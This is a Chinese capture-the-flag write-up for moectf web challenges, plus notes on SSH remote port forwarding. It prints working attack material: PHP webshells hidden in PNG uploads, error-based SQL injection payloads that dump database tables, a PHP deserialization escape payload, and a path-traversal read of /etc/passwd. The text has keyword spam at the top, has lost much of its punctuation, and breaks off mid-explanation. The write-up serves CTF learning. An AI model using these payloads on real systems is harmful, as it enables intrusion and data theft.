舟山网站建设流程,手机网站建设是什么,网页设计与制作实训总结2000字,建设企业网站企业网上银行登录----------签到----------
hello CTFer
给了一个URL#xff0c;是赛博厨子解码base64的flag#xff0c;flag直接给了。 远程端口转发#xff1a;
这次比赛估计好多大师傅都没参加#xff0c;题目环境是在本机内网上的#xff08;比如localhost:52005#xff09;导致请…----------签到----------
hello CTFer
给了一个URL是赛博厨子解码base64的flagflag直接给了。 远程端口转发
这次比赛估计好多大师傅都没参加题目环境是在本机内网上的比如localhost:52005导致请教师傅们不太方便。于是就去学习了远程端口转发尝试通过ssh把我本机端口发到vps上这里记录一下如何把本机端口转发到vps。
以本机1470端口我的sqli-labs与vps的9023端口为例。 SSH基本的连接命令是
ssh usernamehostname这里牵扯到了两台主机一是执行命令、运行SSH客户端的主机我们称为本地主机A【Host A】二是接收连接请求、运行SSH服务器的主机我们称为远程主机B【Host B】。通过密码或密钥等方式验证后SSH连接建立主机A可以使用命令行对主机B实施远程控制。
以上命令中username是主机B上已登录的用户名hostname则是主机B的设备名、域名或IP等可以在网络局域网或互联网上定位的名称。 实际操作步骤如下以本机1470端口我的sqli-labs与vps的9023端口为例。
主机连接vps主机上发
ssh -R 9023:localhost:1470 rootvps-ip-R指定远程端口转发
9023自定义端口
localhost:1470主机ip:主机相关服务的端口sqli-labs的端口
rootvps用户名
vps-ipvps的ip地址要输入vps的密码 确保外网也能访问在vps上执行
GatewayPorts yes确保外网也能访问这个vps的9023这个监听端口而不是只能被vps的localhost访问。
sudo echo GatewayPorts yes /etc/ssh/sshd_config
sudo service ssh restart #重启ssh访问http://vps-ip:9023/可以访问到我主机上的sqlilabs。 参考文章
SSH远程端口转发实战详解 - Xi-iX - 博客园 (cnblogs.com)
Linux中ssh配置详解_linux ssh_穆瑾轩的博客-CSDN博客
Linux端口转发的几种常用方法-腾讯云开发者社区-腾讯云 (tencent.com)
彻底搞懂SSH端口转发命令 - 知乎 (zhihu.com)
[Linux端口转发的九种常用方法_戴国进的博客-CSDN博客](https://blog.csdn.net/JineD/article/details/118254041#:~:textSSH 端口转发 1 (1) 本地端口转发 ssh -fgN -L,%2Fetc%2Fsysctl.conf %23增加一行 net.ipv4.ip_forward%3D1 %2F%2F使数据转发功能生效 sysctl -p (2)将本地的端口转发到本机端口 )
----------Web----------
http
打开环境 然后连接器连接 postman一把梭 Web入门指北
在Web入门指北PDF的最后。 最后利用十六进制base64解密解出flag。 moectf{w3lCome_To_moeCTF_W2b_challengE!!}
cookie
附件
一些api说明
注册 POST /register
{username:koito,password:123456
}登录 POST /login
{username:koito,password:123456
}获取flag GET /flag
查询服务状态 GET /status
开始做题
先看看自己的cookie 一注册 二登录 三查询一下状态啥都OK 四getflag
提示我们不是admin 我们修改一下cookietoken和character都需要修改。 出flag。 彼岸的flag
**题目描述**我们在某个平行宇宙中得到了一段moectf群的聊天记录粗心的出题人在这个聊天平台不小心泄露了自己的flag。
开始做题不用看聊天记录flag在源码里面。 gas!gas!gas!
估计是写脚本的题 先开一个看看 那么游戏要求是 1、有选手名字那就要开启session保存选手名字 2、油门提示抓地大就全开油门、保持速度就保持油门、抓地小就松开油门 3、弯道直行就直行、向右就左、向左就右 4、0.5s人类完成不了必须脚本。 抓个包看看 方向
左-1
直行0
右1油门
松开0
保持1
全开2开始写python脚本
import requests
import timeurl http://localhost:59548/
res requests.session() #创建session对象用来保存当前会话的持续有效性。不创建也可以调用对应的方法发送请求但是没有cookie那就无法记录答题数量。response res.post(url, data{driver:Jay17,steering_control:0,throttle:0}) #发post包获取题目
#time.sleep(1) # 睡一秒for i in range(1, 99):math resTest response.text #获取返回包的内容if 太大 in resTest:ym2elif 太小 in resTest:ym 0else:ym 1if 向左 in resTest:fx1elif 向右 in resTest:fx -1else:fx 0myData { #构造的POST数据driver:Jay17,steering_control:fx,throttle:ym}response res.post(url, datamyData) #发post包提交答案,并且获取返回包获取下一个计算式print(response.text) #打印当前返回包的内容#time.sleep(1) # 睡一秒if moectf{ in response.text: #如果返回包里面有flagprint(Flaggggggggg!!!: , response.text)exit() # 退出当前程序也可以breakmoe图床
题目描述 我们准备了一个moe图床用于上传一些图片。
开题前盲猜文件上传。
果然熟悉的上传框。 随便上传一个提示只能上传png图片。 随手传一个访问404仔细一看是路径出了问题去掉/var/www/html就好啦。 CtrlU查看源码。发现前端只检查了png格式的文件不检查内容。
思路有三直接png图片马、png二次渲染、上传png后缀抓包改php后缀。
先试试png二次渲染。
生成针对二次渲染png的PHP脚本
?php
$p array(0xa3, 0x9f, 0x67, 0xf7, 0x0e, 0x93, 0x1b, 0x23,0xbe, 0x2c, 0x8a, 0xd0, 0x80, 0xf9, 0xe1, 0xae,0x22, 0xf6, 0xd9, 0x43, 0x5d, 0xfb, 0xae, 0xcc,0x5a, 0x01, 0xdc, 0x5a, 0x01, 0xdc, 0xa3, 0x9f,0x67, 0xa5, 0xbe, 0x5f, 0x76, 0x74, 0x5a, 0x4c,0xa1, 0x3f, 0x7a, 0xbf, 0x30, 0x6b, 0x88, 0x2d,0x60, 0x65, 0x7d, 0x52, 0x9d, 0xad, 0x88, 0xa1,0x66, 0x44, 0x50, 0x33);$img imagecreatetruecolor(32, 32);for ($y 0; $y sizeof($p); $y 3) {$r $p[$y];$g $p[$y1];$b $p[$y2];$color imagecolorallocate($img, $r, $g, $b);imagesetpixel($img, round($y / 3), 0, $color);
}imagepng($img,x.png); //要修改的图片的路径
/* 写入的木马内容
?$_GET[0]($_POST[1]);?*/?然后上传尝试反弹shell。但是平台、nc、bash都弹不了shell。 命令也是执行不了的。 然后上传图片马试试图片马名字是shellpng.png内容如下
GIF89a
?php
eval ($_POST[jay17]);
?执行命令尝试无果。 最后试试上传png后缀抓包改php后缀。但是也上传失败了后缀不符合要求。 后来发现了题目后缀名过滤不严格。
文件名1.png.php
原理暂且认为是上传时候认为是png访问解析时认为是php。 大海捞针
开题要求我GET提交id范围在1~1000应该flag在其中某个id里面。 burp爆破一下
首先localhost是默认不抓包的ipconfig查看一下自己的外网ip 192.168.86.99替换掉localhost。但是题目貌似只用内网外网ip用不了。解决方法如下
BurpSuite抓不到本地包解决大汇总_burpsuite抓不了包_S1xTwe1ve的博客-CSDN博客
再补充一个方法我们用burp自带浏览器localhost和127.0.0.1都可以抓。 成功抓到包了。 发到测试器用数值爆破范围1~1000步长1。 爆出来是199大海捞针成功。 了解你的座驾
题目描述为了极致地漂移我们准备了一个网站用于查找你喜欢的车车听说flag也放在里面了不过不在网站目录放在根目录应该没问题的吧。。。
开题车确实很帅。 最后一行提示flag在根目录下考虑进行命令执行。 在源码中发现了源码
// 定义一个名为 submitForm 的函数接受一个参数 name
function submitForm(name) {// 创建一个 form 元素var form document.createElement(form);// 设置表单的提交方法为 POSTform.method post;// 设置表单的提交目标为 index.phpform.action index.php;// 创建一个 input 元素var input document.createElement(input);// 设置 input 元素的类型为隐藏字段input.type hidden;// 设置 input 元素的名称为 xml_contentinput.name xml_content;// 设置 input 元素的值为包含传入的 name 参数的 XML 内容input.value xmlname name /name/xml;// 将 input 元素添加到 form 元素中form.appendChild(input);// 将 form 元素添加到文档的 body 中document.body.appendChild(form);// 提交表单触发表单提交到 index.phpform.submit();
}抓个包看看。看见了XML感觉是XXE漏洞。 取消URL编码也没事能正常解析。这是一个多么愚蠢的想法 拿有回显XXE的payload直接打了但是一直报错。但是从报错中看出后端处理函数是simplexml_load_string一个XXE的标志性函数PHP语言函数。但是就一直打不出来。 原来是payload需要URL编码。。。。。。。。。 meo图床
题目描述我们准备了一个meo(?)图床用于上传一些图片
这题其实不是文件上传是路径穿越。
开题随便上传一个文件点击查看。
注意到查看功能访问文件的方式是通过文件名访问。猜测访问目录是设定好的name参数决定了访问设定好的访问目录下的哪个文件以文件名形式检索。 尝试利用../来进行路径穿越先试试读取/etc/passwd。
读取成功猜测正确。 那就直接读取flag。但是根目录下flag返回了另外一个路由文件Fl3g_n0t_Here_dont_peek!!!!!.php应该是还有一层吧。 访问路由文件。数组绕过md5就行。 payload
GET:
?param1[]1param2[]7夺命十三枪
开题直接给了源码。 index.php
?php
highlight_file(__FILE__);require_once(Hanxin.exe.php);$Chant isset($_GET[chant]) ? $_GET[chant] : 夺命十三枪;$new_visitor new Omg_It_Is_So_Cool_Bring_Me_My_Flag($Chant);$before serialize($new_visitor);
$after Deadly_Thirteen_Spears::Make_a_Move($before);
echo Your Movements: . $after . br;try{echo unserialize($after);
}catch (Exception $e) {echo Even Caused A Glitch...;
}
?Hanxin.exe.php
?phpif (basename($_SERVER[SCRIPT_FILENAME]) basename(__FILE__)) {highlight_file(__FILE__);
}class Deadly_Thirteen_Spears{private static $Top_Secret_Long_Spear_Techniques_Manual array(di_yi_qiang Lovesickness,di_er_qiang Heartbreak,di_san_qiang Blind_Dragon,di_si_qiang Romantic_charm,di_wu_qiang Peerless,di_liu_qiang White_Dragon,di_qi_qiang Penetrating_Gaze,di_ba_qiang Kunpeng,di_jiu_qiang Night_Parade_of_a_Hundred_Ghosts,di_shi_qiang Overlord,di_shi_yi_qiang Letting_Go,di_shi_er_qiang Decisive_Victory,di_shi_san_qiang Unrepentant_Lethality);public static function Make_a_Move($move){foreach(self::$Top_Secret_Long_Spear_Techniques_Manual as $index $movement){$move str_replace($index, $movement, $move);}return $move;}
}class Omg_It_Is_So_Cool_Bring_Me_My_Flag{public $Chant ;public $Spear_Owner Nobody;function __construct($chant){$this-Chant $chant;$this-Spear_Owner Nobody;}function __toString(){if($this-Spear_Owner ! MaoLei){return Far away from COOL...;}else{return Omg Youre So COOOOOL!!! . getenv(FLAG);}}
}?简单一看我们需要修改Omg_It_Is_So_Cool_Bring_Me_My_Flag-Spear_Owner属性为MaoLei使得Omg_It_Is_So_Cool_Bring_Me_My_Flag::__toString()魔术方法输出flag。
但是Omg_It_Is_So_Cool_Bring_Me_My_Flag-Spear_Owner属性我们无法直接修改同时Hanxin.exe.php中的Deadly_Thirteen_Spears::Make_a_Move方法又满足字符串替换的条件。
综上所述这题应该是PHP反序列化字符串逃逸。 不细分析源码了直接开逃分析一下怎么逃逸。
字符替换往多的或者往少的替换都有使得我们操作空间大了不少。 直接分析序列化字符串花括号里面的那段。
s:5:“Chant”;s:15:“夺命十三枪”;s:11:“Spear_Owner”;s:6:“Nobody”;
修改成
s:5:“Chant”;s:35:“;s:11:Spear_Owner;s:6:MaoLei;}”;s:11:“Spear_Owner”;s:6:“Nobody”;
我们就实现了修改不可控属性Spear_Owner的功能。
但是我们可以明显看出这一段s:35:长度与序列化字符串中标明的35不符合缺35字符
s:5:“Chant”;s:35:;s:11:“Spear_Owner”;s:6:“MaoLei”;} ;s:11:“Spear_Owner”;s:6:“Nobody”;
所以我们需要通过字符替换多整出35个字符也就是如果替换一次后字符多一个那么我们要替换35次。
s:5:“Chant”;s:420:“di_yi_qiangdi_yi_qiangdi_yi_qiangdi_yi_qiangdi_yi_qiangdi_yi_qiangdi_yi_qiangdi_yi_qiangdi_yi_qiangdi_yi_qiangdi_yi_qiangdi_yi_qiangdi_yi_qiangdi_yi_qiangdi_yi_qiangdi_yi_qiangdi_yi_qiangdi_yi_qiangdi_yi_qiangdi_yi_qiangdi_yi_qiangdi_yi_qiangdi_yi_qiangdi_yi_qiangdi_yi_qiangdi_yi_qiangdi_yi_qiangdi_yi_qiangdi_yi_qiangdi_yi_qiangdi_yi_qiangdi_yi_qiangdi_yi_qiangdi_yi_qiangdi_yi_qiang;s:11:Spear_Owner;s:6:MaoLei;}”;s:11:“Spear_Owner”;s:6:“Nobody”;
经过替换后变成标记处总长度455之前是420
s:5:“Chant”;s:420:“LovesicknessLovesicknessLovesicknessLovesicknessLovesicknessLovesicknessLovesicknessLovesicknessLovesicknessLovesicknessLovesicknessLovesicknessLovesicknessLovesicknessLovesicknessLovesicknessLovesicknessLovesicknessLovesicknessLovesicknessLovesicknessLovesicknessLovesicknessLovesicknessLovesicknessLovesicknessLovesicknessLovesicknessLovesicknessLovesicknessLovesicknessLovesicknessLovesicknessLovesicknessLovesickness;s:11:Spear_Owner;s:6:MaoLei;}”;s:11:“Spear_Owner”;s:6:“Nobody”;
可以看作是标记处长度是420刚刚好
s:5:“Chant”;s:420:“LovesicknessLovesicknessLovesicknessLovesicknessLovesicknessLovesicknessLovesicknessLovesicknessLovesicknessLovesicknessLovesicknessLovesicknessLovesicknessLovesicknessLovesicknessLovesicknessLovesicknessLovesicknessLovesicknessLovesicknessLovesicknessLovesicknessLovesicknessLovesicknessLovesicknessLovesicknessLovesicknessLovesicknessLovesicknessLovesicknessLovesicknessLovesicknessLovesicknessLovesicknessLovesickness”;s:11:“Spear_Owner”;s:6:“MaoLei”;};s:11:“Spear_Owner”;s:6:“Nobody”; payload
?chantdi_yi_qiangdi_yi_qiangdi_yi_qiangdi_yi_qiangdi_yi_qiangdi_yi_qiangdi_yi_qiangdi_yi_qiangdi_yi_qiangdi_yi_qiangdi_yi_qiangdi_yi_qiangdi_yi_qiangdi_yi_qiangdi_yi_qiangdi_yi_qiangdi_yi_qiangdi_yi_qiangdi_yi_qiangdi_yi_qiangdi_yi_qiangdi_yi_qiangdi_yi_qiangdi_yi_qiangdi_yi_qiangdi_yi_qiangdi_yi_qiangdi_yi_qiangdi_yi_qiangdi_yi_qiangdi_yi_qiangdi_yi_qiangdi_yi_qiangdi_yi_qiangdi_yi_qiang;s:11:Spear_Owner;s:6:MaoLei;}出去旅游的心海
开题。 注意到新功能和数据库有关考虑SQL注入。查看源码发现一个疑似用于处理数据库信息执行写入信息到数据库的.php文件。 访问一眼就是我们方向对了开始做题。 不进行闭合的话无论time输入什么都报错返回我们输入的值。 既然开启了报错就联想到报错注入。我们的思路是提交time参数为报错注入语句程序会返回给我们time的值即报错语句的值就是我们想要的内容。
POSTip1user_agent1timeupdatexml(1,substring(concat(0x7e,(select group_concat(schema_name) from information_schema.schemata),0x7e),25,50),3)得到当前数据库是wordpress POSTip1user_agent1timeupdatexml(1,substring(concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schemawordpress ),0x7e),1,20),3)得到可疑的表是secret_of_kokomi POSTip1user_agent1timeupdatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_schemawordpress and table_namesecret_of_kokomi),0x7e),3)得到可疑的列是content POSTip1user_agent1timeupdatexml(1,substring(concat(0x7e,(select group_concat(content) from wordpress.secret_of_kokomi),0x7e),40,60),3)后半段
POSTip1user_agent1timeupdatexml(1,reverse(concat(0x7e,(select group_concat(content) from wordpress.secret_of_kokomi),0x7e)),3)当然也可以用rlike
ip1user_agent1time1 RLIKE extractvalue(1,concat(0x7e,mid((select group_concat(content) from wordpress.secret_of_kokomi),1),0x7e))得到flag。 signin
直接给了源码
from secrets import users, salt
import hashlib
import base64
import json
import http.serverwith open(flag.txt,r) as f:FLAG f.read().strip()def gethash(*items):c 0for item in items:if item is None:continuec ^ int.from_bytes(hashlib.md5(f{salt}[{item}]{salt}.encode()).digest(), big) # it looks so complex! but is it safe enough?return hex(c)[2:]assert admin in users
assert users[admin] adminhashed_users dict((k,gethash(k,v)) for k,v in users.items())eval(int.to_bytes(0x636d616f686e69656e61697563206e6965756e63696165756e6320696175636e206975616e6363616361766573206164^8651845801355794822748761274382990563137388564728777614331389574821794036657729487047095090696384065814967726980153,160,big,signedTrue).decode().translate({ord(c):None for c in \x00})) # what is it?def decrypt(data:str):for x in range(5):data base64.b64encode(data).decode() # ummm...? It looks like its just base64 encoding it 5 times? truely?return data__page__ base64.b64encode(PCFET0NUWVBFIGh0bWwCjxodG1sPgo8aGVhZD4KICAgIDx0aXRsZT5zaWduaW48L3RpdGxlPgogICAgPHNjcmlwdD4KICAgICAgICBbXVsoIVtdK1tdKVshK1tdKyEhW10rISFbXV0rKFtdK3t9KVsrISFbXV0rKCEhW10rW10pWyshIVtdXSsoISFbXStbXSlbK1tdXV1bKFtdK3t9KVshK1tdKyEhW10rISFbXSshIVtdKyEhW11dKyhbXSt7fSlbKyEhW11dKyhbXVtbXV0rW10pWyshIVtdXSsoIVtdK1tdKVshK1tdKyEhW10rISFbXV0rKCEhW10rW10pWytbXV0rKCEhW10rW10pWyshIVtdXSsoW11bW11dK1tdKVsrW11dKyhbXSt7fSlbIStbXSshIVtdKyEhW10rISFbXSshIVtdXSsoISFbXStbXSlbK1tdXSsoW10re30pWyshIVtdXSsoISFbXStbXSlbKyEhW11dXSgoK3t9K1tdKVsrISFbXV0rKCEhW10rW10pWytbXV0rKFtdK3t9KVsrISFbXV0rKFtdK3t9KVshK1tdKyEhW11dKyhbXSt7fSlbIStbXSshIVtdKyEhW10rISFbXSshIVtdKyEhW10rISFbXV0rW11bKCFbXStbXSlbIStbXSshIVtdKyEhW11dKyhbXSt7fSlbKyEhW11dKyghIVtdK1tdKVsrISFbXV0rKCEhW10rW10pWytbXV1dWyhbXSt7fSlbIStbXSshIVtdKyEhW10rISFbXSshIVtdXSsoW10re30pWyshIVtdXSsoW11bW11dK1tdKVsrISFbXV0rKCFbXStbXSlbIStbXSshIVtdKyEhW11dKyghIVtdK1tdKVsrW11dKyghIVtdK1tdKVsrISFbXV0rKFtdW1tdXStbXSlbK1tdXSsoW10re30pWyErW10rISFbXSshIVtdKyEhW10rISFbXV0rKCEhW10rW10pWytbXV0rKFtdK3t9KVsrISFbXV0rKCEhW10rW10pWyshIVtdXV0oKCEhW10rW10pWyshIVtdXSsoW11bW11dK1tdKVshK1tdKyEhW10rISFbXV0rKCEhW10rW10pWytbXV0rKFtdW1tdXStbXSlbK1tdXSsoISFbXStbXSlbKyEhW11dKyhbXVtbXV0rW10pWyshIVtdXSsoW10re30pWyErW10rISFbXSshIVtdKyEhW10rISFbXSshIVtdKyEhW11dKyhbXVtbXV0rW10pWytbXV0rKFtdW1tdXStbXSlbKyEhW11dKyhbXVtbXV0rW10pWyErW10rISFbXSshIVtdXSsoIVtdK1tdKVshK1tdKyEhW10rISFbXV0rKFtdK3t9KVshK1tdKyEhW10rISFbXSshIVtdKyEhW11dKygre30rW10pWyshIVtdXSsoW10rW11bKCFbXStbXSlbIStbXSshIVtdKyEhW11dKyhbXSt7fSlbKyEhW11dKyghIVtdK1tdKVsrISFbXV0rKCEhW10rW10pWytbXV1dWyhbXSt7fSlbIStbXSshIVtdKyEhW10rISFbXSshIVtdXSsoW10re30pWyshIVtdXSsoW11bW11dK1tdKVsrISFbXV0rKCFbXStbXSlbIStbXSshIVtdKyEhW11dKyghIVtdK1tdKVsrW11dKyghIVtdK1tdKVsrISFbXV0rKFtdW1tdXStbXSlbK1tdXSsoW10re30pWyErW10rISFbXSshIVtdKyEhW10rISFbXV0rKCEhW10rW10pWytbXV0rKFtdK3t9KVsrISFbXV0rKCEhW10rW10pWyshIVtdXV0oKCEhW10rW10pWyshIVtdXSsoW11bW11dK1tdKVshK1tdKyEhW10rISFbXV0rKCEhW10rW10pWytbXV0rKFtdW1tdXStbXSlbK1tdXSsoISFbXStbXSlbKyEhW11dKyhbXVtbXV0rW10pWyshIVtdXSsoW10re30pWyErW10rISFbXSshIVtdKyEhW10rISFbXSshIVtdKyEhW11dKyghW10rW10pWyErW10rISFbXV0rKFtdK3t9KVsrISFbXV0rKFtdK3t9KVshK1tdKyEhW10rISFbXSshIVtdKyEhW11dKygre30rW10pWyshIVtdXSsoISFbXStbXSlbK1tdXSsoW11bW11dK1tdKVshK1tdKyEhW10rISFbXSshIVtdKyEhW11dKyhbXSt7fSlbKyEhW11dKyhbXVtbXV0rW10pWyshIVtdXSkoIStbXSshIVtdKyEhW10rISFbXSshIVtdKyEhW10rISFbXSshIVtdKyEhW10pKVshK1tdKyEhW10rISFbXV0rKFtdW1tdXStbXSlbIStbXSshIVtdKyEhW11dKSghK1tdKyEhW10rISFbXSshIVtdKShbXVsoIVtdK1tdKVshK1tdKyEhW10rISFbXV0rKFtdK3t9KVsrISFbXV0rKCEhW10rW10pWyshIVtdXSsoISFbXStbXSlbK1tdXV1bKFtdK3t9KVshK1tdKyEhW10rISFbXSshIVtdKyEhW11dKyhbXSt7fSlbKyEhW11dKyhbXVtbXV0rW10pWyshIVtdXSsoIVtdK1tdKVshK1tdKyEhW10rISFbXV0rKCEhW10rW10pWytbXV0rKCEhW10rW10pWyshIVtdXSsoW11bW11dK1tdKVsrW11dKyhbXSt7fSlbIStbXSshIVtdKyEhW10rISFbXSshIVtdXSsoISFbXStbXSlbK1tdXSsoW10re30pWyshIVtdXSsoISFbXStbXSlbKyEhW11dXSgoISFbXStbXSlbKyEhW11dKyhbXVtbXV0rW10pWyErW10rISFbXSshIVtdXSsoISFbXStbXSlbK1tdXSsoW11bW11dK1tdKVsrW11dKyghIVtdK1tdKVsrISFbXV0rKFtdW1tdXStbXSlbKyEhW11dKyhbXSt7fSlbIStbXSshIVtdKyEhW10rISFbXSshIVtdKyEhW10rISFbXV0rKFtdW1tdXStbXSlbIStbXSshIVtdKyEhW11dKyghW10rW10pWyErW10rISFbXSshIVtdXSsoW10re30pWyErW10rISFbXSshIVtdKyEhW10rISFbXV0rKCt7fStbXSlbKyEhW11dKyhbXStbXVsoIVtdK1tdKVshK1tdKyEhW10rISFbXV0rKFtdK3t9KVsrISFbXV0rKCEhW10rW10pWyshIVtdXSsoISFbXStbXSlbK1tdXV1bKFtdK3t9KVshK1tdKyEhW10rISFbXSshIVtdKyEhW11dKyhbXSt7fSlbKyEhW11dKyhbXVtbXV0rW10pWyshIVtdXSsoIVtdK1tdKVshK1tdKyEhW10rISFbXV0rKCEhW10rW10pWytbXV0rKCEhW10rW10pWyshIVtdXSsoW11bW11dK1tdKVsrW11dKyhbXSt7fSlbIStbXSshIVtdKyEhW10rISFbXSshIVtdXSsoISFbXStbXSlbK1tdXSsoW10re30pWyshIVtdXSsoISFbXStbXSlbKyEhW11dXSgoISFbXStbXSlbKyEhW11dKyhbXVtbXV0rW10pWyErW10rISFbXSshIVtdXSsoISFbXStbXSlbK1tdXSsoW11bW11dK1tdKVsrW11dKyghIVtdK1tdKVsrISFbXV0rKFtdW1tdXStbXSlbKyEhW11dKyhbXSt7fSlbIStbXSshIVtdKyEhW10rISFbXSshIVtdKyEhW10rISFbXV0rKCFbXStbXSlbIStbXSshIVtdXSsoW10re30pWyshIVtdXSsoW10re30pWyErW10rISFbXSshIVtdKyEhW10rISFbXV0rKCt7fStbXSlbKyEhW11dKyghIVtdK1tdKVsrW11dKyhbXVtbXV0rW10pWyErW10rISFbXSshIVtdKyEhW10rISFbXV0rKFtdK3t9KVsrISFbXV0rKFtdW1tdXStbXSlbKyEhW11dKSghK1tdKyEhW10rISFbXSshIVtdKyEhW10rISFbXSshIVtdKyEhW10rISFbXSkpWyErW10rISFbXSshIVtdXSsoW11bW11dK1tdKVshK1tdKyEhW10rISFbXV0pKCErW10rISFbXSshIVtdKyEhW10rISFbXSshIVtdKyEhW10pKChbXSt7fSlbK1tdXSlbK1tdXSsoIStbXSshIVtdKyEhW10rW10pKyhbXVtbXV0rW10pWyErW10rISFbXV0pKyhbXSt7fSlbIStbXSshIVtdKyEhW10rISFbXSshIVtdKyEhW10rISFbXV0rKFtdK3t9KVshK1tdKyEhW11dKyghIVtdK1tdKVsrW11dKyhbXSt7fSlbKyEhW11dKygre30rW10pWyshIVtdXSkoIStbXSshIVtdKyEhW10rISFbXSkKICAgICAgICB2YXIgXzB4ZGI1ND1bJ3N0cmluZ2lmeScsJ2xvZycsJ3Bhc3N3b3JkJywnL2xvZ2luJywnUE9TVCcsJ2dldEVsZW1lbnRCeUlkJywndGhlbiddO3ZhciBfMHg0ZTVhPWZ1bmN0aW9uKF8weGRiNTRmYSxfMHg0ZTVhOTQpe18weGRiNTRmYT1fMHhkYjU0ZmEtMHgwO3ZhciBfMHg0ZDhhNDQ9XzB4ZGI1NFtfMHhkYjU0ZmFdO3JldHVybiBfMHg0ZDhhNDQ7fTt3aW5kb3dbJ2FwaV9iYXNlJ109Jyc7ZnVuY3Rpb24gbG9naW4oKXtjb25zb2xlW18weDRlNWEoJzB4MScpXSgnbG9naW4nKTt2YXIgXzB4NWYyYmViPWRvY3VtZW50W18weDRlNWEoJzB4NScpXSgndXNlcm5hbWUnKVsndmFsdWUnXTt2YXIgXzB4NGZkMjI2PWRvY3VtZW50W18weDRlNWEoJzB4NScpXShfMHg0ZTVhKCcweDInKSlbJ3ZhbHVlJ107dmFyIF8weDFjNjFkOT1KU09OW18weDRlNWEoJzB4MCcpXSh7J3VzZXJuYW1lJzpfMHg1ZjJiZWIsJ3Bhc3N3b3JkJzpfMHg0ZmQyMjZ9KTt2YXIgXzB4MTBiOThlPXsncGFyYW1zJzphdG9iKGF0b2IoYXRvYihhdG9iKGF0b2IoXzB4MWM2MWQ5KSkpKSl9O2ZldGNoKHdpbmRvd1snYXBpX2Jhc2UnXStfMHg0ZTVhKCcweDMnKSx7J21ldGhvZCc6XzB4NGU1YSgnMHg0JyksJ2JvZHknOkpTT05bXzB4NGU1YSgnMHgwJyldKF8weDEwYjk4ZSl9KVtfMHg0ZTVhKCcweDYnKV0oZnVuY3Rpb24oXzB4Mjk5ZDRkKXtjb25zb2xlW18weDRlNWEoJzB4MScpXShfMHgyOTlkNGQpO30pO30KICAgIDwvc2NyaXB0Pgo8L2hlYWQCjxib2R5PgogICAgPGgxPmV6U2lnbmluPC9oMT4KICAgIDxwPlNpZ24gaW4gdG8geW91ciBhY2NvdW50PC9wPgogICAgPHAZGVmYXVsdCB1c2VybmFtZSBhbmQgcGFzc3dvcmQgaXMgYWRtaW4gYWRtaW48L3ACiAgICA8cD5Hb29kIEx1Y2shPC9wPgoKICAgIDxwPgogICAgICAgIHVzZXJuYW1lIDxpbnB1dCBpZD0idXNlcm5hbWUiPgogICAgPC9wPgogICAgPHACiAgICAgICAgcGFzc3dvcmQgPGlucHV0IGlkPSJwYXNzd29yZCIgdHlwZT0icGFzc3dvcmQiPgogICAgPC9wPgogICAgPGJ1dHRvbiBpZCA9ICJsb2dpbiICiAgICAgICAgTG9naW4KICAgIDwvYnV0dG9uPgo8L2JvZHkCjxzY3JpcHQCiAgICBjb25zb2xlLmxvZygiaGVsbG8/IikKICAgIGRvY3VtZW50LmdldEVsZW1lbnRCeUlkKCJsb2dpbiIpLmFkZEV2ZW50TGlzdGVuZXIoImNsaWNrIiwgbG9naW4pOwo8L3NjcmlwdD4KPC9odG1sPg)class MyHandler(http.server.BaseHTTPRequestHandler):def do_GET(self):try:if self.path /:self.send_response(200)self.end_headers()self.wfile.write(__page__)else:self.send_response(404)self.end_headers()self.wfile.write(b404 Not Found)except Exception as e:print(e)self.send_response(500)self.end_headers()self.wfile.write(b500 Internal Server Error)def do_POST(self):try:if self.path /login:body self.rfile.read(int(self.headers.get(Content-Length)))payload json.loads(body)params json.loads(decrypt(payload[params]))print(params)if params.get(username) admin:self.send_response(403)self.end_headers()self.wfile.write(bYOU CANNOT LOGIN AS ADMIN!)print(admin)returnif params.get(username) params.get(password):self.send_response(403)self.end_headers()self.wfile.write(bYOU CANNOT LOGIN WITH SAME USERNAME AND PASSWORD!)print(same)returnhashed gethash(params.get(username),params.get(password))for k,v in hashed_users.items():if hashed v:data {user:k,hash:hashed,flag: FLAG if k admin else flag{YOU_HAVE_TO_LOGIN_IN_AS_ADMIN_TO_GET_THE_FLAG}}self.send_response(200)self.end_headers()self.wfile.write(json.dumps(data).encode())print(success)returnself.send_response(403)self.end_headers()self.wfile.write(bInvalid username or password)else:self.send_response(404)self.end_headers()self.wfile.write(b404 Not Found)except Exception as e:print(e)self.send_response(500)self.end_headers()self.wfile.write(b500 Internal Server Error)if __name__ __main__:server http.server.HTTPServer((, 9999), MyHandler)server.serve_forever()先看看代码中奇怪的部分。
assert admin in users
assert users[admin] admin这两行Python语句是使用assert语句来进行断言assertion。断言用于检查某个条件是否为真如果条件为假则会引发AssertionError异常表示程序中存在错误。
检查字典 users 中是否包含键key“admin”检查字典 users 中键 “admin” 对应的值是否等于字符串 “admin”。如果 “admin” 存在于 users 字典中并且键 “admin” 对应的值等于字符串 “admin”断言条件为真程序会继续执行。
但是这里的users字典是import导入的from secrets import users, salt不知道是什么。但是可以肯定的是既然程序可以执行的话那字典 users 中肯定有一个键值对是adminadmin。 作为新生赛源码中的注释应该就是在引导新生注意到此处有漏洞点。源码中奇怪的注释一共有三处。 首先来看第一处it looks so complex! but is it safe enough?。
是对传入参数进行了加盐取哈希值然后分别与c进行异或运算。异或运算是不同为1相同为0比如001^100就是101。如果传入的参数字典中只有偶数个元素并且两两相等那么c的值始终是0x0就是0。两个参数值相等即可类型可以不相等就算一个是字符串一个是int类型数字也没事。 再看第二处what is it?。
eval(int.to_bytes( 0x636d616f686e69656e61697563206e6965756e63696165756e6320696175636e206975616e6363616361766573206164 ^8651845801355794822748761274382990563137388564728777614331389574821794036657729487047095090696384065814967726980153,160, big, signedTrue).decode().translate({ord(c): None for c in \x00}))这行Python语句的作用是将一个经过异或操作、整数转换、字节编码、去除空字节后的字符串进行解析和执行。
具体步骤如下 int.to_bytes() 函数将一个整数转换为字节数组。在这里整数是通过将一个十六进制的异或操作结果与另一个数相异或而得到的。这个整数是 160 位20字节大小的。 使用 decode() 方法将字节数组解码为字符串。这里使用了 “big” 参数表示使用大端字节序。 使用 translate() 方法去除字符串中的空字节ASCII 0x00\x00。 最终的字符串被传递给 eval() 函数该函数用于执行字符串中包含的 Python 表达式。
上面这行代码可以简化为
eval([[0] for base64.b64encode in [base64.b64decode]])让我们分解它
